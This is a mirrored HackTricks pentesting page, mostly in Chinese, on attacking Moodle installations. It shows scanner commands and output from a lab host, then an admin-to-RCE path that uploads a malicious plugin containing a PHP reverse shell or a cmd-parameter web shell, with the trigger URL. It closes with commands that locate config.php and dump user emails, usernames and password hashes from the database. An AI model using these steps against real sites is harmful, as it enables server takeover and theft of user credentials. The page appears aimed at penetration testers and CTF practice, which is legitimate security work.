Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 13:13:41 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/pentesting-web/moodle.md

6.1 KiB
Raw Blame History

Moodle

从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！

支持HackTricks的其他方式：

如果您对黑客职业感兴趣并想要攻破不可攻破的系统 - 我们正在招聘！（需要流利的波兰语书面和口头表达能力）。

{% embed url="https://www.stmcyber.com/careers" %}

自动扫描

droopescan

pip3 install droopescan
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/

[+] Plugins found:
forum http://moodle.schooled.htb/moodle/mod/forum/
http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
http://moodle.schooled.htb/moodle/mod/forum/version.php

[+] No themes found.

[+] Possible version(s):
3.10.0-beta

[+] Possible interesting urls found:
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
Admin panel - http://moodle.schooled.htb/moodle/login/

[+] Scan finished (0:00:05.643539 elapsed)

moodlescan

moodlescan is a Python script designed to perform comprehensive scans for Moodle installations. It can discover Moodle installations by brute-forcing URLs and checking for specific Moodle files. The tool can also enumerate users and courses, making it a valuable asset for penetration testers assessing Moodle instances.

#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/

Version 0.7 - Dic/2020
.............................................................................................................

By Victor Herrera - supported by www.incode.cl

.............................................................................................................

Getting server information http://moodle.schooled.htb/moodle/ ...

server         	: Apache/2.4.46 (FreeBSD) PHP/7.4.15
x-powered-by   	: PHP/7.4.15
x-frame-options	: sameorigin
last-modified  	: Wed, 07 Apr 2021 21:33:41 GMT

Getting moodle version...

Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta

Searching vulnerabilities...


Vulnerabilities found: 0

Scan completed.

CMSMap

CMSMap

pip3 install git+https://github.com/dionach/CMSmap.git
cmsmap http://moodle.example.com/<moodle_path>

CVEs

我发现自动工具在发现影响 Moodle 版本的漏洞方面相当无用。您可以在 https://snyk.io/vuln/composer:moodle%2Fmoodle 进行检查。

RCE

您需要具有管理员角色，可以在**“站点管理”**选项卡内安装插件：

即使您是管理员，您可能仍然需要激活此选项。您可以查看 Moodle 特权升级 PoC 中的操作：https://github.com/HoangKien1020/CVE-2020-14321。

然后，您可以安装以下插件，其中包含经典的 pentest-monkey php 反弹 shell（在上传之前，您需要解压缩它，更改 revshell 的 IP 和端口，然后再次压缩）

{% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %}

或者您可以使用来自 https://github.com/HoangKien1020/Moodle_RCE 的插件，使用“cmd”参数获取常规 PHP shell。

要访问启动恶意插件，您需要访问：

http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id

POST

查找数据库凭据

find / -name "config.php" 2>/dev/null | grep "moodle/config.php"

从数据库中转储凭据

/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"

如果您对黑客职业感兴趣并想要攻破不可能的 - 我们正在招聘！（需要流利的波兰语书面和口语）。

{% embed url="https://www.stmcyber.com/careers" %}

从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！

支持HackTricks的其他方式：